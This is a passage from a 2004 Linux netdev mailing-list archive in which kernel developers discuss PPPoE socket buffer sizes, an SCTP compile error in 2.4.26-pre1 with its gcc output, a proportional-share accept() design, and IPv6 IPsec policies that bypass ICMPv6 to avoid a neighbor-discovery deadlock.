-0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QKgrKO014824 for ; Thu, 26 Feb 2004 12:42:53 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKglb06912; Thu, 26 Feb 2004 15:42:47 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKgk808061; Thu, 26 Feb 2004 15:42:46 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QKggeF015287; Thu, 26 Feb 2004 15:42:43 -0500 Date: Thu, 26 Feb 2004 12:42:45 -0800 From: "David S. Miller" To: Andi Kleen Cc: ak@suse.de, yoshfuji@linux-ipv6.org, ak@muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-Id: <20040226124245.5b3c77bf.davem@redhat.com> In-Reply-To: <20040226194900.GA8230@colin2.muc.de> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> <20040223102613.33838132.davem@redhat.com> <20040225211526.74478066.ak@suse.de> <20040223133233.71eecc99.davem@redhat.com> <20040226194900.GA8230@colin2.muc.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3613 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 26 Feb 2004 20:49:00 +0100 Andi Kleen wrote: > I don't think it should be only sized for big datagrams and other obscure cases. > Better is a reasonable default to fit at least 64K of data with a standard MTU like ~1.4K. > Or may resize it on MTU change, but I'm not sure that's worth the effort. > > Are you working on this or should I prepare a new patch? Let's just leave things how we've changed them, and when people complain about jumbo MTU ipv6 icmp messages we'll address it. Thanks. From ak@muc.de Thu Feb 26 12:52:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:52:36 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QKqLKO015271 for ; Thu, 26 Feb 2004 12:52:22 -0800 Received: (qmail 31165 invoked by uid 3709); 26 Feb 2004 20:52:20 -0000 Date: 26 Feb 2004 21:52:20 +0100 Date: Thu, 26 Feb 2004 21:52:20 +0100 From: Andi Kleen To: "David S. Miller" Cc: Andi Kleen , ak@suse.de, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-ID: <20040226205220.GA29457@colin2.muc.de> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> <20040223102613.33838132.davem@redhat.com> <20040225211526.74478066.ak@suse.de> <20040223133233.71eecc99.davem@redhat.com> <20040226194900.GA8230@colin2.muc.de> <20040226124245.5b3c77bf.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040226124245.5b3c77bf.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 3614 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev On Thu, Feb 26, 2004 at 12:42:45PM -0800, David S. Miller wrote: > On 26 Feb 2004 20:49:00 +0100 > Andi Kleen wrote: > > > I don't think it should be only sized for big datagrams and other obscure cases. > > Better is a reasonable default to fit at least 64K of data with a standard MTU like ~1.4K. > > Or may resize it on MTU change, but I'm not sure that's worth the effort. > > > > Are you working on this or should I prepare a new patch? > > Let's just leave things how we've changed them, and when people complain > about jumbo MTU ipv6 icmp messages we'll address it. Ah, I missed that you already checked it in. Sorry for the noise. I will test now if your change really fixes the DSL performance problem. -Andi From bunk@fs.tum.de Thu Feb 26 13:28:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 13:28:23 -0800 (PST) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QLS7KO016987 for ; Thu, 26 Feb 2004 13:28:09 -0800 Received: (qmail 24526 invoked from network); 26 Feb 2004 21:22:20 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 26 Feb 2004 21:22:20 -0000 Date: Thu, 26 Feb 2004 22:27:59 +0100 From: Adrian Bunk To: Marcelo Tosatti , netdev@oss.sgi.com Cc: linux-kernel@vger.kernel.org Subject: 2.4.26-pre1: SCTP compile error Message-ID: <20040226212759.GV5499@fs.tum.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2i X-archive-position: 3615 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev On Wed, Feb 25, 2004 at 04:09:20PM -0300, Marcelo Tosatti wrote: >... > It contains a big SCTP merge (to match 2.6 API), networking updates, >... I got the compile error forwarded below using gcc 2.95.3 . cu Adrian ... gcc-2.95 -D__KERNEL__ -I/home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=i686 -malign-functions=4 -nostdinc -iwithprefix include -DKBUILD_BASENAME=ipv6 -c -o ipv6.o ipv6.c In file included from ipv6.c:77: /home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include/net/sctp/sctp.h:119: warning: `MSECS_TO_JIFFIES' redefined /home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include/net/irda/irda.h:89: warning: this is the location of the previous definition ipv6.c: In function `sctp_v6_xmit': ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c:189: request for member `in6_u' in something not a structure or union ipv6.c: In function `sctp_v6_get_dst': ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:213: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union ipv6.c:219: request for member `in6_u' in something not a structure or union make[3]: *** [ipv6.o] Error 1 make[3]: Leaving directory `/home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/net/sctp' make[2]: *** [first_rule] Error 2 make[2]: Leaving directory `/home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/net/sctp' make[1]: *** [_subdir_sctp] Error 2 make[1]: Leaving directory `/home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/net' make: *** [_dir_net] Error 2 From ak@muc.de Thu Feb 26 14:03:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 14:03:41 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QM3HKO017651 for ; Thu, 26 Feb 2004 14:03:17 -0800 Received: (qmail 57090 invoked by uid 3709); 26 Feb 2004 22:03:16 -0000 Date: 26 Feb 2004 23:03:16 +0100 Date: Thu, 26 Feb 2004 23:03:16 +0100 From: Andi Kleen To: Andi Kleen Cc: "David S. Miller" , ak@suse.de, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-ID: <20040226220316.GA56782@colin2.muc.de> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> <20040223102613.33838132.davem@redhat.com> <20040225211526.74478066.ak@suse.de> <20040223133233.71eecc99.davem@redhat.com> <20040226194900.GA8230@colin2.muc.de> <20040226124245.5b3c77bf.davem@redhat.com> <20040226205220.GA29457@colin2.muc.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040226205220.GA29457@colin2.muc.de> User-Agent: Mutt/1.4.1i X-archive-position: 3616 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev > I will test now if your change really fixes the DSL performance problem. It seems to, but I guess that was by accident. -Andi From rz5b@cs.virginia.edu Thu Feb 26 14:08:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 14:08:49 -0800 (PST) Received: from ares.cs.Virginia.EDU (ares.cs.Virginia.EDU [128.143.137.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QM8XKO018021 for ; Thu, 26 Feb 2004 14:08:33 -0800 Received: from mamba.cs.Virginia.EDU (mamba.cs.Virginia.EDU [128.143.137.15]) by ares.cs.Virginia.EDU (8.12.10/8.12.10/UVACS-2004022400) with ESMTP id i1QM8NGI002847; Thu, 26 Feb 2004 17:08:24 -0500 (EST) Received: from localhost (rz5b@localhost) by mamba.cs.Virginia.EDU (8.11.6+Sun/8.9.2) with ESMTP id i1QM8NF15127; Thu, 26 Feb 2004 17:08:23 -0500 (EST) X-Authentication-Warning: mamba.cs.Virginia.EDU: rz5b owned process doing -bs Date: Thu, 26 Feb 2004 17:08:23 -0500 (EST) From: Ronghua Zhang To: kashyapv cc: "David S. Miller" , shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3617 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rz5b@cs.virginia.edu Precedence: bulk X-list: netdev Here is another option. We can either start multiple instances of the applications on different ports, or modify the application to listen to several ports. All these ports are not the well-known service ports, and not visible to the clients. Instead, the kernel creates a 'steathy' listen socket on the well-known service port. After the connection is established, based on some classification rules, the open_request structure is moved from the accept queue of the 'steathy' socket to the the accept queue of one socket the application is listening to. This procedure is transparent to the client and the application. The classification can be implemented as a module, and only a few places in the kernel need to be touched. I have a prototype implementation. You can check out www.cs.virginia.edu/~rz5b/research/kernel-qos.htm for details. Ronghua On Wed, 25 Feb 2004, kashyapv wrote: > On Wed, 25 Feb 2004, David S. Miller wrote: > > > On Wed, 25 Feb 2004 11:07:48 -0800 (PST) > > kashyapv wrote: > > > > > Also, an in-kernel solution allows administrative control and tuning > > > without affecting the applications at all. The administrator can as per > > > the policy (which may change over time) modify the proportions using another > > > interface. Otherwise, each application must provide a way to manage/modify > > > its scheduler. > > > > Since all of the classification we're suggesting is via the kernel, the > > administrator has the same kinds of controls and it is also without any > > application modifications. > > How do you change the scheduler's proportions? Not the classification > itself which is controlled using iptables. > > > > > We're saying, to classify packets so that they get prioritized however you > > would have prioritized things in the accept queue (ie. mark SYN packets > > with address X as having priority Y). The let the packet scheduler or > > netfilter take care of the rest. > > In the in-kernel accept queues the netfilter MARKs it and the packet > is queued to the relevant accept queue. Where and how is the packet getting > queued to a differnt socket (address mangling?)? > > > > > > > From davem@redhat.com Thu Feb 26 14:22:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 14:22:39 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QMMPKO018521 for ; Thu, 26 Feb 2004 14:22:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QMMFb05521; Thu, 26 Feb 2004 17:22:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QMMF807768; Thu, 26 Feb 2004 17:22:15 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QMMBeF001232; Thu, 26 Feb 2004 17:22:11 -0500 Date: Thu, 26 Feb 2004 14:22:14 -0800 From: "David S. Miller" To: Andi Kleen Cc: ak@muc.de, ak@suse.de, yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-Id: <20040226142214.76d35e22.davem@redhat.com> In-Reply-To: <20040226220316.GA56782@colin2.muc.de> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> <20040223102613.33838132.davem@redhat.com> <20040225211526.74478066.ak@suse.de> <20040223133233.71eecc99.davem@redhat.com> <20040226194900.GA8230@colin2.muc.de> <20040226124245.5b3c77bf.davem@redhat.com> <20040226205220.GA29457@colin2.muc.de> <20040226220316.GA56782@colin2.muc.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3618 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 26 Feb 2004 23:03:16 +0100 Andi Kleen wrote: > > I will test now if your change really fixes the DSL performance problem. > > It seems to, but I guess that was by accident. Nope, fully intentional. It should end up doing the same thing your original patch did, check the send buffer size the pppoe socket gets :) From sri@us.ibm.com Thu Feb 26 15:55:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 15:56:01 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QNtiKO019901 for ; Thu, 26 Feb 2004 15:55:52 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1QNs05w285432; Thu, 26 Feb 2004 18:54:00 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1QNrxZZ112660; Thu, 26 Feb 2004 16:53:59 -0700 Date: Thu, 26 Feb 2004 15:53:58 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Adrian Bunk cc: Marcelo Tosatti , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: 2.4.26-pre1: SCTP compile error In-Reply-To: <20040226212759.GV5499@fs.tum.de> Message-ID: References: <20040226212759.GV5499@fs.tum.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3619 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev On Thu, 26 Feb 2004, Adrian Bunk wrote: > On Wed, Feb 25, 2004 at 04:09:20PM -0300, Marcelo Tosatti wrote: > >... > > It contains a big SCTP merge (to match 2.6 API), networking updates, > >... > > I got the compile error forwarded below using gcc 2.95.3 . > > cu > Adrian > > > > ... > gcc-2.95 -D__KERNEL__ -I/home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=i686 -malign-functions=4 -nostdinc -iwithprefix include -DKBUILD_BASENAME=ipv6 -c -o ipv6.o ipv6.c > In file included from ipv6.c:77: > /home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include/net/sctp/sctp.h:119: warning: `MSECS_TO_JIFFIES' redefined > /home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include/net/irda/irda.h:89: warning: this is the location of the previous definition I missed this warning as i don't have irda enabled in my config. A simple fix would be to rename the macro in sctp.h to SCTP_MSECS_TO_JIFFIES. > ipv6.c: In function `sctp_v6_xmit': > ipv6.c:189: request for member `in6_u' in something not a structure or union > ipv6.c:189: request for member `in6_u' in something not a structure or union I am not seeing these errors with either gcc3.2.2 or gcc2.96. But, looking at the code, this definitely seems to be a problem. Not sure why the newer versions of gcc didn't catch them. looks like while backporting from 2.6, i missed the fact that in 2.4, fl6_src, fl6_dst in struct flowi are pointers to struct in6_addr. I will work on a patch to fix these issues shortly. Thanks Sridhar From kazunori@miyazawa.org Thu Feb 26 17:38:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 17:38:57 -0800 (PST) Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1R1cmKO024324 for ; Thu, 26 Feb 2004 17:38:48 -0800 Received: from dhcp078.local.ini.jp (82.180.32.202.ts.2iij.net [::ffff:202.32.180.82]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,128bits,RC4-MD5) by miyazawa.org with esmtp; Fri, 27 Feb 2004 10:35:29 +0900 From: Kazunori Miyazawa To: Felipe Alfaro Solana Subject: Re: IPSec: can't get IPv6 IPSec working with racoon Date: Fri, 27 Feb 2004 10:38:34 +0900 User-Agent: KMail/1.5.4 References: <1077713881.793.25.camel@teapot.felipe-alfaro.com> In-Reply-To: <1077713881.793.25.camel@teapot.felipe-alfaro.com> Cc: NetDev Mailinglist , Kernel Mailinglist MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402271038.34483.kazunori@miyazawa.org> X-archive-position: 3620 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kazunori@miyazawa.org Precedence: bulk X-list: netdev Hello, On 2004/02/25(Wed) 21:58, you wrote: > 1. Host A tries to send and ICMPv6 ping echo request to host B, but > since there exists a Security Policy that requires the use of ESP/AH, > before A can send the ICMPv6 echo request, it must trigger an SA > negotiation with host B. To start this SA negotiation, host A needs to > know the link-layer address of peer host B: > 1.1 Host A sends a Neighbor solicitation message to host B > 1.2 Host B tries to send a Neigbor discovery packet, but since > there exists a Security Policy that requires the use of ESP/AH, > before B can send the Neighbor discovery, it triggers SA > negotiation. > > This seems to create a loop: host A triggers SA negotiation in first > place, but needs to know link-layer address of B, thus it sends a > Neighbor solicitation packet which makes host B trigger SA association. > Thus, both hosts are trying to establish an SA association, creating a > deadlock. It is well known chicken and egg problem about IPv6 IPsec. You can bypass ICMP packet with putting ICMP bypass policies before your own policies. Then you can not trigger IPsec with ICMP ECHO. spdadd fec0::204:75ff:feab:6fcc fec0::2 ipv6-icmp -P out none; spdadd fec0::204:75ff:feab:6fcc fec0::2 ipv6-icmp -P in none; spdadd fec0::204:75ff:feab:6fcc fec0::2 any -P out ipsec esp/transport//require ah/transport//require; spdadd fec0::2 fec0::204:75ff:feab:6fcc any -P in ipsec esp/transport//require ah/transport//require; --Kazunori Miyazawa From sri@us.ibm.com Thu Feb 26 17:43:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 17:43:14 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1R1h0KO024714 for ; Thu, 26 Feb 2004 17:43:07 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1R1fWG9810360; Thu, 26 Feb 2004 20:41:32 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1R1fcDv082156; Thu, 26 Feb 2004 20:41:39 -0500 Date: Thu, 26 Feb 2004 17:41:30 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Sridhar Samudrala cc: Adrian Bunk , Marcelo Tosatti , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: 2.4.26-pre1: SCTP compile error In-Reply-To: Message-ID: References: <20040226212759.GV5499@fs.tum.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3621 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev On Thu, 26 Feb 2004, Sridhar Samudrala wrote: > On Thu, 26 Feb 2004, Adrian Bunk wrote: > > > On Wed, Feb 25, 2004 at 04:09:20PM -0300, Marcelo Tosatti wrote: > > >... > > > It contains a big SCTP merge (to match 2.6 API), networking updates, > > >... > > > > I got the compile error forwarded below using gcc 2.95.3 . > > > > cu > > Adrian > > > > > > > > ... > > gcc-2.95 -D__KERNEL__ -I/home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=i686 -malign-functions=4 -nostdinc -iwithprefix include -DKBUILD_BASENAME=ipv6 -c -o ipv6.o ipv6.c > > In file included from ipv6.c:77: > > /home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include/net/sctp/sctp.h:119: warning: `MSECS_TO_JIFFIES' redefined > > /home/bunk/linux/kernel-2.4/linux-2.4.26-pre1-full/include/net/irda/irda.h:89: warning: this is the location of the previous definition > > I missed this warning as i don't have irda enabled in my config. > A simple fix would be to rename the macro in sctp.h to > SCTP_MSECS_TO_JIFFIES. > > > ipv6.c: In function `sctp_v6_xmit': > > ipv6.c:189: request for member `in6_u' in something not a structure or union > > ipv6.c:189: request for member `in6_u' in something not a structure or union > > I am not seeing these errors with either gcc3.2.2 or gcc2.96. But, looking at the > code, this definitely seems to be a problem. Not sure why the newer versions of > gcc didn't catch them. It is my mistake. I don't have CONFIG_SCTP_DBG_MSG enabled and so these lines are compiled out and hence i am not seeing these errors. Thanks Sridhar From davem@redhat.com Thu Feb 26 22:51:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 22:51:41 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1R6pTKO000372 for ; Thu, 26 Feb 2004 22:51:30 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1R6oDb18808; Fri, 27 Feb 2004 01:50:13 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1R6oD816994; Fri, 27 Feb 2004 01:50:13 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1R6nteF031402; Fri, 27 Feb 2004 01:50:09 -0500 Date: Thu, 26 Feb 2004 22:49:58 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: bunk@fs.tum.de, marcelo.tosatti@cyclades.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: 2.4.26-pre1: SCTP compile error Message-Id: <20040226224958.24eb29fb.davem@redhat.com> In-Reply-To: References: <20040226212759.GV5499@fs.tum.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: 